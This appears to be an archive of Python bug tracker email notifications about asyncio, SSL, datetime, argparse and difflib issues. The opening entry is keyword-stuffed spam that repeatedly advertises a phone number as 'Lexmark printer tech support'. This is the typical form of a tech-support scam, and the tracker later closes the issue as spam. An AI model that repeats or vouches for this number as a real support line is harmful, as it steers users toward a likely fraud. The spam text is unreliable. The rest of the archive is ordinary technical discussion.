((moti))Call @@@++ USA I8557O92847 LEXMARK p.r.i.n.t.e.r t.e.c.h s.u.p.p.o.r.t p.h.o.n.e n.u.m.b.e.r u.s.a. C.a.l.l LEXMARK h.e.l.p d.e.s.k n.u.m.b.e.r n.u.m.b.e.r C.a.n.a.d.a LEXMARK s.u.p.p.o.r.t p.h.o.n.e n.u.m.b.r usa USA 1 I8557O92847 LEXMARK p.r.i.n.t.e.r t.e.c.h s.u.p.p.o.r.t p.h.o.n.e n.u.m.b.e.r u.s.a. C.a.l.l LEXMARK h.e.l.p d.e.s.k n.u.m.b.e.r n.u.m.b.e.r C.a.n.a.d.a LEXMARK s.u.p.p.o.r.t p.h.o.n.e n.u.m.b.r usa canada 1-1855-709-2847 USA, LEXMARK printer Tech Support phone number,LEXMARK technical support phone number 1 I8557O92847 .LEXMARK Tech Support Number LEXMARK Tech LEXMARK tech support, LEXMARK tech support number, LEXMARK tech support phone number, LEXMARK technical support, LEXMARK technical support number, LEXMARK technical support phone number, LEXMARK tech support number, LEXMARK support number, LEXMARK Tech support phone number, LEXMARK support phone number, LEXMARK technical support phone number, LEXMARK technical support number,Support Phone Number for LEXMARK printer Phone Number for LEXMARK CustomerService Technical Support Telephone Number LEXMARK printer support number LEXMARK LEXMARK printer tech support number LEXMARK LEXMARK printer technical support number LEXMARK LEXMARK printer technical support phone number LEXMARK LEXMARK printer customer service number LEXMARK LEXMARK internet security technical support LEXMARK technical support phone number LEXMARK LEXMARK tech support phone number LEXMARK LEXMARK customer support phone number I-855-709-2847 LEXMARK LEXMARK printer support phone number LEXMARK LEXMARK support phone LEXMARK tech support LEXMARK customer support LEXMARK phone support LEXMARK support number LEXMARK LEXMARK technical support LEXMARK printer customer support phone number LEXMARK LEXMARK printer tech support phone number LEXMARK contact LEXMARK support LEXMARK printer technical support phone number ~!~I8557092847++ LEXMARK LEXMARK phone number LEXMARK tech support LEXMARK support ticket LEXMARK customer support number LEXMARK LEXMARK tech support number LEXMARK LEXMARK technical support number LEXMARK LEXMARK support center LEXMARK telephone support call LEXMARK support LEXMARK printer support support LEXMARK LEXMARK billing support LEXMARK printer technical support number LEXMARK support LEXMARK printer LEXMARK online support LEXMARK contact support LEXMARK printer support number LEXMARK LEXMARK printer customer support number LEXMARK LEXMARK printer tech support number LEXMARK support for LEXMARK LEXMARK phone number LEXMARK LEXMARK customer service phone number LEXMARK LEXMARK contact phone number LEXMARK LEXMARK printer phone number LEXMARK LEXMARK printer customer service phone number LEXMARK phone number LEXMARK for LEXMARK customer service LEXMARK software phone number LEXMARK phone number LEXMARK for LEXMARK LEXMARK customer service telephone number LEXMARK LEXMARK helpline phone number LEXMARK LEXMARK contact number LEXMARK LEXMARK customer service number LEXMARK LEXMARK customer service phone number ~!~I8557092847++ LEXMARK us LEXMARK customer service phone number LEXMARK usa LEXMARK telephone number LEXMARK LEXMARK phone number LEXMARK usa LEXMARK printer contact number LEXMARK LEXMARK number LEXMARK LEXMARK contact number LEXMARK usa LEXMARK printer helpline number LEXMARK LEXMARK helpline number LEXMARK LEXMARK customer number LEXMARK LEXMARK printer customer service number LEXMARK LEXMARK contact telephone number LEXMARK contact number LEXMARK for LEXMARK LEXMARK software contact number LEXMARK LEXMARK toll free number LEXMARK LEXMARK telephone number LEXMARK uk LEXMARK registration number LEXMARK LEXMARK toll free number LEXMARK usa LEXMARK customer service LEXMARK software customer service contact LEXMARK customer service LEXMARK customer service phone LEXMARK printer customer service LEXMARK service LEXMARK printer technical support LEXMARK printer customer support LEXMARK technical support reviews telephone LEXMARK printer LEXMARK tech support phone number LEXMARK LEXMARK printer tech support phone number LEXMARK LEXMARK printer customer service LEXMARK technical support phone number LEXMARK LEXMARK printer free printer support LEXMARK customer service billing LEXMARK customer service email address LEXMARK customer service reviews contact LEXMARK customer service LEXMARK tech support number LEXMARK usa LEXMARK printer support number LEXMARK LEXMARK printer contact number LEXMARK LEXMARK customer service phone number LEXMARK LEXMARK technical support usa LEXMARK technical support number LEXMARK LEXMARK tech support phone LEXMARK tech support number LEXMARK LEXMARK customer service telephone number LEXMARK LEXMARK printer customer support number LEXMARK LEXMARK printer phone number LEXMARK LEXMARK printer online support LEXMARK customer service number LEXMARK LEXMARK tech support center LEXMARK customer service LEXMARK software customer service LEXMARK customer care number LEXMARK usa LEXMARK customer number LEXMARK LEXMARK customer support number LEXMARK LEXMARK customer care number LEXMARK LEXMARK customer care toll free number LEXMARK LEXMARK tech support LEXMARK technical support LEXMARK printer support LEXMARK printer tech support LEXMARK support center LEXMARK.com customer service LEXMARK printer customer care number LEXMARK LEXMARK customer care LEXMARK phone number LEXMARK phone number LEXMARK for LEXMARK customer service LEXMARK phone support LEXMARK phone number LEXMARK tech support LEXMARK support phone number LEXMARK contact LEXMARK by phone LEXMARK contact phone number LEXMARK LEXMARK helpline phone number LEXMARK LEXMARK printer phone LEXMARK printer for phone LEXMARK contact number LEXMARK LEXMARK contact support contact LEXMARK printer LEXMARK contact number LEXMARK usa LEXMARK toll free number LEXMARK LEXMARK telephone number LEXMARK LEXMARK toll free number LEXMARK usa LEXMARK printer support services technical support for printer LEXMARK LEXMARK customer service phone number LEXMARK usa LEXMARK printer customer care number LEXMARK usa LEXMARK customer care number LEXMARK LEXMARK customer care center LEXMARK customer support LEXMARK customer support phone LEXMARK customer help LEXMARK customer & technical support LEXMARK customer portal LEXMARK customer care phone number LEXMARK usa LEXMARK customer care email LEXMARK helpline LEXMARK tech support contact LEXMARK customer care toll free LEXMARK printer customer service number LEXMARK LEXMARK printer protection norton printer customer service number LEXMARK LEXMARK software customer service number LEXMARK LEXMARK hotline customer service phone number LEXMARK LEXMARK customer service phone number LEXMARK us how to contact LEXMARK by email LEXMARK free phone support LEXMARK printer technical support number LEXMARK LEXMARK printer technical support help desk phone number LEXMARK LEXMARK technical support number LEXMARK toll free number LEXMARK LEXMARK printer customer support phone number LEXMARK LEXMARK printer customer

----------
components: Build
hgrepos: 355
messages: 276612
nosy: himanshu jha
priority: normal
severity: normal
status: open
title: @^@^@^@1~8.5.5.7.0.9~2847^^^^ Lexmark P.r.i.n.t.e.r  T.e.h S.u.p.p.O.r.T P.h.o.n.e n.u.m.b.e.r Lexmark p.h.o.n.e N.u.m.b.e.r.
type: performance
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28175>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:19:17 2016
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 15 Sep 2016 20:19:17 +0000
Subject: [issue28175] Spam
In-Reply-To: <1473970662.32.0.932560938968.issue28175@psf.upfronthosting.co.za>
Message-ID: <1473970757.15.0.780937040645.issue28175@psf.upfronthosting.co.za>


Changes by Zachary Ware <zachary.ware at gmail.com>:


----------
components:  -Build
nosy:  -himanshu jha
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed
title: @^@^@^@1~8.5.5.7.0.9~2847^^^^ Lexmark P.r.i.n.t.e.r  T.e.h S.u.p.p.O.r.T P.h.o.n.e n.u.m.b.e.r Lexmark p.h.o.n.e N.u.m.b.e.r. -> Spam
type: performance -> 
versions:  -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28175>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:19:28 2016
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 15 Sep 2016 20:19:28 +0000
Subject: [issue28175] Spam
Message-ID: <1473970768.22.0.970567611464.issue28175@psf.upfronthosting.co.za>


Changes by Zachary Ware <zachary.ware at gmail.com>:


----------
Removed message: http://bugs.python.org/msg276612

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28175>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:19:35 2016
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 15 Sep 2016 20:19:35 +0000
Subject: [issue28175] Spam
Message-ID: <1473970775.66.0.652791798771.issue28175@psf.upfronthosting.co.za>


Changes by Zachary Ware <zachary.ware at gmail.com>:


----------
hgrepos:  -355

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28175>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:19:57 2016
From: report at bugs.python.org (ppperry)
Date: Thu, 15 Sep 2016 20:19:57 +0000
Subject: [issue24780] difflib.ndiff produces unreadable output when input
 missing trailing newline
In-Reply-To: <1438534169.3.0.814109265012.issue24780@psf.upfronthosting.co.za>
Message-ID: <1473970797.4.0.433337457619.issue24780@psf.upfronthosting.co.za>


Changes by ppperry <mapreader at olum.org>:


----------
components:  -Tests
title: unittest assertEqual difference output foiled by newlines -> difflib.ndiff produces unreadable output when input missing trailing newline

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24780>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:24:33 2016
From: report at bugs.python.org (Jeremy Sequoia)
Date: Thu, 15 Sep 2016 20:24:33 +0000
Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to
 dependency on deleted header file
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <1473971073.08.0.478120828265.issue27806@psf.upfronthosting.co.za>


Jeremy Sequoia added the comment:

AvailabilityMacros.h is super deprecated and should not be used by anything current. Availability.h was added as replacement in 10.5.

__MAC_OS_X_VERSION_MAX_ALLOWED should be checked instead of defined (DEPRECATED_IN_MAC_OS_X_VERSION_10_12_AND_LATER)

You should really have a central config and use that instead. Eg:

#include <Availability.h>
#define APPLE_SUPPORTS_QUICKTIME (__MAC_OS_X_VERSION_MAX_ALLOWED < 101200) || !__LP64__

Then use APPLE_SUPPORTS_QUICKTIME throughout.  That avoids tons of churn whenever things change (as exemplified by this very bug)

----------
nosy: +jeremyhu

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:29:06 2016
From: report at bugs.python.org (Jim Fulton)
Date: Thu, 15 Sep 2016 20:29:06 +0000
Subject: [issue27391] server_hostname should only be required when checking
 host names
In-Reply-To: <1466955837.8.0.0746303655033.issue27391@psf.upfronthosting.co.za>
Message-ID: <1473971346.83.0.87031783694.issue27391@psf.upfronthosting.co.za>


Jim Fulton added the comment:

SSL is used for more than just HTTP.  The are applications in which clients have server public keys that they use to authenticate servers rather than using certificate authorities.  For these applications, server host names are irrelevant.  This is why it makes sense to have an option on the SSL context to disable host name checking.  Removing this ability would break some applications.

If the option to check host names is provided as false on the SSL context, it makes no sense to check whether the host name, which isn't going to be used, is not None.  It's just silly, but not a huge deal one way or the other, because there are actually *two* ways to disable host name checking; you can also pass '' as the hostname, which is why this isn't a big deal and why I haven't gotten around to making a PR yet.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27391>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:30:57 2016
From: report at bugs.python.org (ppperry)
Date: Thu, 15 Sep 2016 20:30:57 +0000
Subject: [issue28165] The 'subprocess' module leaks roughly 4 KiB of memory
 per call
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1473971457.96.0.454239030784.issue28165@psf.upfronthosting.co.za>


Changes by ppperry <mapreader at olum.org>:


----------
type:  -> resource usage

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:34:10 2016
From: report at bugs.python.org (ppperry)
Date: Thu, 15 Sep 2016 20:34:10 +0000
Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to
 dependency on deleted header file
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <1473971650.39.0.889837625714.issue27806@psf.upfronthosting.co.za>


Changes by ppperry <mapreader at olum.org>:


----------
type:  -> compile error

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:41:51 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 15 Sep 2016 20:41:51 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <1473972111.55.0.208998764687.issue22493@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution: fixed -> 
stage: resolved -> patch review
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:46:29 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 20:46:29 +0000
Subject: [issue26858] android: setting SO_REUSEPORT fails
In-Reply-To: <1461677842.81.0.574068471289.issue26858@psf.upfronthosting.co.za>
Message-ID: <1473972389.18.0.187074106932.issue26858@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

This issue was fixed in #28174.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26858>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:47:15 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 20:47:15 +0000
Subject: [issue24511] Add methods for async protocols
In-Reply-To: <1435246948.22.0.255546128718.issue24511@psf.upfronthosting.co.za>
Message-ID: <1473972435.02.0.340399995881.issue24511@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

I think we can close this one.

----------
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24511>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:47:55 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 20:47:55 +0000
Subject: [issue24510] Make _PyCoro_GetAwaitableIter a public API
In-Reply-To: <1435246558.17.0.296607565259.issue24510@psf.upfronthosting.co.za>
Message-ID: <1473972475.32.0.640939930868.issue24510@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Closing this one as no one has requested this for 2 years.

----------
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24510>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:53:03 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 15 Sep 2016 20:53:03 +0000
Subject: [issue26909] Asyncio: Pipes and socket IO is very slow
In-Reply-To: <1462208793.52.0.483694752489.issue26909@psf.upfronthosting.co.za>
Message-ID: <20160915205259.44331.11819.7DE94364@psf.io>


Roundup Robot added the comment:

New changeset e6adc2448c3d by Yury Selivanov in branch '3.5':
Issue #26909: Fix slow pipes IO in asyncio.
https://hg.python.org/cpython/rev/e6adc2448c3d

New changeset c462db8985d8 by Yury Selivanov in branch '3.6':
Merge 3.5 (asyncio, issue #26909)
https://hg.python.org/cpython/rev/c462db8985d8

New changeset 6b07f261ccf4 by Yury Selivanov in branch 'default':
Merge 3.6 (asyncio, issue #26909)
https://hg.python.org/cpython/rev/6b07f261ccf4

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26909>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:59:19 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 20:59:19 +0000
Subject: [issue26909] Asyncio: Pipes and socket IO is very slow
In-Reply-To: <1462208793.52.0.483694752489.issue26909@psf.upfronthosting.co.za>
Message-ID: <1473973159.79.0.860870092938.issue26909@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Closing this one.  Thank you Mark for discovering the issue and suggesting a solution (still hope we'll commit your patch in 3.7).

Thank you INADA Naoki for the patch!

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26909>
_______________________________________

From report at bugs.python.org  Thu Sep 15 17:00:47 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 15 Sep 2016 21:00:47 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <1473973247.49.0.318454477675.issue22493@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thanks Tim, this is great idea! I consider this as usability bug and going to apply a fix to 3.6.

But regular expression can be generated and be very long. I think it should be truncated before including in a warning message.

As for Django, you can use (?i:CaseInsensitive) in 3.7 (unless _prefix is case sensitive, but you want to make it case sensitive if pattern is case sensitive).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Thu Sep 15 17:05:03 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 15 Sep 2016 21:05:03 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <1473973502.99.0.735263626662.issue22493@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

In tests you can either add re.escape(), or escape special characters manually (r'\(\?i\)'). What you prefer.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Thu Sep 15 17:06:08 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Thu, 15 Sep 2016 21:06:08 +0000
Subject: [issue28160] Python -V and --version output to stderr instead of
 stdout
In-Reply-To: <1473896211.12.0.819655349887.issue28160@psf.upfronthosting.co.za>
Message-ID: <1473973568.37.0.51129696572.issue28160@psf.upfronthosting.co.za>


Changes by Barry A. Warsaw <barry at python.org>:


----------
nosy: +barry

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28160>
_______________________________________

From report at bugs.python.org  Thu Sep 15 17:34:48 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Thu, 15 Sep 2016 21:34:48 +0000
Subject: [issue27400] Datetime NoneType after calling Py_Finalize and
 Py_Initialize
In-Reply-To: <1467035358.55.0.678180807375.issue27400@psf.upfronthosting.co.za>
Message-ID: <1473975288.58.0.97903513357.issue27400@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

I am not sure this is possible to fix without refactoring the datetime module according to PEP 3121. See #15390.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27400>
_______________________________________

From report at bugs.python.org  Thu Sep 15 17:37:45 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 21:37:45 +0000
Subject: [issue27929] asyncio.AbstractEventLoop.sock_connect broken for
 AF_BLUETOOTH
In-Reply-To: <1472738395.77.0.643111482192.issue27929@psf.upfronthosting.co.za>
Message-ID: <1473975465.62.0.0150520264471.issue27929@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

I'm not sure this is still relevant for the latest asyncio in 3.6.  Robert, could you please test if this is still the case?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27929>
_______________________________________

From report at bugs.python.org  Thu Sep 15 17:41:15 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 21:41:15 +0000
Subject: [issue26050] Add new StreamReader.readuntil() method
In-Reply-To: <1452285476.14.0.419432816204.issue26050@psf.upfronthosting.co.za>
Message-ID: <1473975675.04.0.960175218712.issue26050@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Looks like we already have docs for readuntil.  Mark, could you please check if we have some docs missing (or just close the issue)?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26050>
_______________________________________

From report at bugs.python.org  Thu Sep 15 17:45:01 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 21:45:01 +0000
Subject: [issue27665] Make create_server able to listen on several ports
In-Reply-To: <1470091847.64.0.679712938011.issue27665@psf.upfronthosting.co.za>
Message-ID: <1473975901.44.0.476729512539.issue27665@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

I think this has been already fixed.  Please reopen if I missed something.

----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27665>
_______________________________________

From report at bugs.python.org  Thu Sep 15 17:46:01 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 21:46:01 +0000
Subject: [issue27400] Datetime NoneType after calling Py_Finalize and
 Py_Initialize
In-Reply-To: <1467035358.55.0.678180807375.issue27400@psf.upfronthosting.co.za>
Message-ID: <1473975961.26.0.188279619472.issue27400@psf.upfronthosting.co.za>


Christian Heimes added the comment:

PEP 3121 is a big change. Can we use PyModuleDef->m_clear() for a clever hack?

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27400>
_______________________________________

From report at bugs.python.org  Thu Sep 15 17:49:05 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 21:49:05 +0000
Subject: [issue27415] regression: BaseEventLoop.create_server does not accept
 port=None
In-Reply-To: <1467211561.08.0.329801464417.issue27415@psf.upfronthosting.co.za>
Message-ID: <1473976145.35.0.791962643445.issue27415@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Looks like this is fixed now.

----------
resolution:  -> works for me
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27415>
_______________________________________

From report at bugs.python.org  Thu Sep 15 17:55:30 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 21:55:30 +0000
Subject: [issue28176] Fix callbacks race in asyncio.SelectorLoop.sock_connect
Message-ID: <1473976530.0.0.19666207968.issue28176@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

Proxy issue for https://github.com/python/asyncio/pull/366

----------
assignee: yselivanov
components: asyncio
messages: 276628
nosy: gvanrossum, yselivanov
priority: normal
severity: normal
stage: resolved
status: open
title: Fix callbacks race in asyncio.SelectorLoop.sock_connect
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28176>
_______________________________________

From report at bugs.python.org  Thu Sep 15 17:55:37 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 21:55:37 +0000
Subject: [issue28176] Fix callbacks race in asyncio.SelectorLoop.sock_connect
In-Reply-To: <1473976530.0.0.19666207968.issue28176@psf.upfronthosting.co.za>
Message-ID: <1473976537.2.0.673005470222.issue28176@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
resolution:  -> fixed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28176>
_______________________________________

From report at bugs.python.org  Thu Sep 15 17:58:38 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 15 Sep 2016 21:58:38 +0000
Subject: [issue28176] Fix callbacks race in asyncio.SelectorLoop.sock_connect
In-Reply-To: <1473976530.0.0.19666207968.issue28176@psf.upfronthosting.co.za>
Message-ID: <20160915215835.82774.79476.D5BC03D5@psf.io>


Roundup Robot added the comment:

New changeset 8550ab528a31 by Yury Selivanov in branch '3.5':
Issue #28176: Fix callbacks race in asyncio.SelectorLoop.sock_connect.
https://hg.python.org/cpython/rev/8550ab528a31

New changeset 3d8ba65a0054 by Yury Selivanov in branch '3.6':
Merge 3.5 (issue #28176)
https://hg.python.org/cpython/rev/3d8ba65a0054

New changeset 5024e2a82181 by Yury Selivanov in branch 'default':
Merge 3.6 (issue #28176)
https://hg.python.org/cpython/rev/5024e2a82181

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28176>
_______________________________________

From report at bugs.python.org  Thu Sep 15 18:06:09 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Thu, 15 Sep 2016 22:06:09 +0000
Subject: [issue27400] Datetime NoneType after calling Py_Finalize and
 Py_Initialize
In-Reply-To: <1467035358.55.0.678180807375.issue27400@psf.upfronthosting.co.za>
Message-ID: <1473977169.93.0.201935910694.issue27400@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

Yes, I think something like the attached patch may do the trick.

----------
assignee:  -> belopolsky
keywords: +patch
versions: +Python 3.6, Python 3.7 -Python 3.5
Added file: http://bugs.python.org/file44678/issue27400.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27400>
_______________________________________

From report at bugs.python.org  Thu Sep 15 18:22:00 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 22:22:00 +0000
Subject: [issue27377] Add smarter socket.fromfd()
In-Reply-To: <1466706816.6.0.72770597716.issue27377@psf.upfronthosting.co.za>
Message-ID: <1473978120.24.0.143137525205.issue27377@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I opened #28134 because I was running into a similar issue with socket.socket(fileno). Since this new feature didn't make it into 3.6, can we at least change the constructor of socket.socket() to set a correct family, type and proto?

Any fix is better than no fix. It doesn't have to work for all socket types on all operating systems. The feature is mostly used for socket inheritance, systemd socket activation or fd transfer over Unix sockets of AF_INET, AF_INET6 and AF_UNIX file descriptors.

----------
nosy: +christian.heimes
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27377>
_______________________________________

From report at bugs.python.org  Thu Sep 15 18:26:24 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 22:26:24 +0000
Subject: [issue27400] Datetime NoneType after calling Py_Finalize and
 Py_Initialize
In-Reply-To: <1467035358.55.0.678180807375.issue27400@psf.upfronthosting.co.za>
Message-ID: <1473978384.77.0.902617543935.issue27400@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Wouldn't it clear strptime_module when a subinterpreter shuts down, too? It's not a big deal because it can't cause a crash.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27400>
_______________________________________

From report at bugs.python.org  Thu Sep 15 18:29:38 2016
From: report at bugs.python.org (Adrian Chan)
Date: Thu, 15 Sep 2016 22:29:38 +0000
Subject: [issue24780] difflib.ndiff produces unreadable output when input
 missing trailing newline
In-Reply-To: <1438534169.3.0.814109265012.issue24780@psf.upfronthosting.co.za>
Message-ID: <1473978578.91.0.248850331347.issue24780@psf.upfronthosting.co.za>


Adrian Chan added the comment:

I've attached a potential fix for this issue.

While trying to fix this, I noticed that I coudn't assume that I just need to ensure that each line has a newline. If I always ensure each line in diffline has a newline, then the fourth test in testAssertMultilineEqual (in Lib/unittest/test/test_assertions.py) fails because standardMsg in assertMultiLineEqual in Lib/unittest/case.py is just one line without a newline. To sidestep this problem, I made it so that I only ensure there is a newline for each line if and only if there is more than one line in difflines. However, I'm not sure that I can assume there should be a newline in cases similar to the fourth test (where longMessage is set to true and a 'msg' is passed) in testAssertMultilineEqual but where there is more than one line in standardMsg in assertMultiLineEqual.

----------
Added file: http://bugs.python.org/file44679/fix_24780.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24780>
_______________________________________

From report at bugs.python.org  Thu Sep 15 18:48:34 2016
From: report at bugs.python.org (paul j3)
Date: Thu, 15 Sep 2016 22:48:34 +0000
Subject: [issue9334] argparse does not accept options taking arguments
 beginning with dash (regression from optparse)
In-Reply-To: <1279836939.11.0.811316280273.issue9334@psf.upfronthosting.co.za>
Message-ID: <1473979714.67.0.284962975128.issue9334@psf.upfronthosting.co.za>


paul j3 added the comment:

Clint, the problem is the argparse uses different argument allocation method than optparse.

optparse gives the '--subscipt_args` Action all of the remaining strings, and says - 'consume what you want, and return the rest'.  So you consume up to (and including) the '--'.  Then optparse continues with the rest.

argparse performs the double pass described earlier, and allocates strings to each Action based on the larger context.  It gives as many as the Action's nargs requires, but tries in various ways to reserve strings for other Actions.  Individual Actions never see the big picture.

So the 'REMAINDER' action has to be last (with this '--' positional exception).  Your users will have to use the other flags Actions first.

One alternative comes to mind:

- omit the final positional
- use parse_known_args instead of parse_args

Then the 'extras' list will be something like:  ['--', '--verbose'], which you can handle in another parser.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9334>
_______________________________________

From report at bugs.python.org  Thu Sep 15 18:58:42 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Thu, 15 Sep 2016 22:58:42 +0000
Subject: [issue15941] Time module: effect of time.timezone change
In-Reply-To: <1347559641.51.0.772200483389.issue15941@psf.upfronthosting.co.za>
Message-ID: <1473980322.78.0.467297680407.issue15941@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

Closing in favor of #28157.

----------
status: open -> closed
superseder:  -> Document time module constants (timezone, tzname, etc.) as deprecated.

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15941>
_______________________________________

From report at bugs.python.org  Thu Sep 15 19:03:15 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Thu, 15 Sep 2016 23:03:15 +0000
Subject: [issue19502] Wrong time zone offset,
 when using time.strftime() with a given struct_time
In-Reply-To: <1383642092.47.0.283452068876.issue19502@psf.upfronthosting.co.za>
Message-ID: <1473980595.22.0.641461244569.issue19502@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19502>
_______________________________________

From report at bugs.python.org  Thu Sep 15 19:04:36 2016
From: report at bugs.python.org (Jeremy Sequoia)
Date: Thu, 15 Sep 2016 23:04:36 +0000
Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to
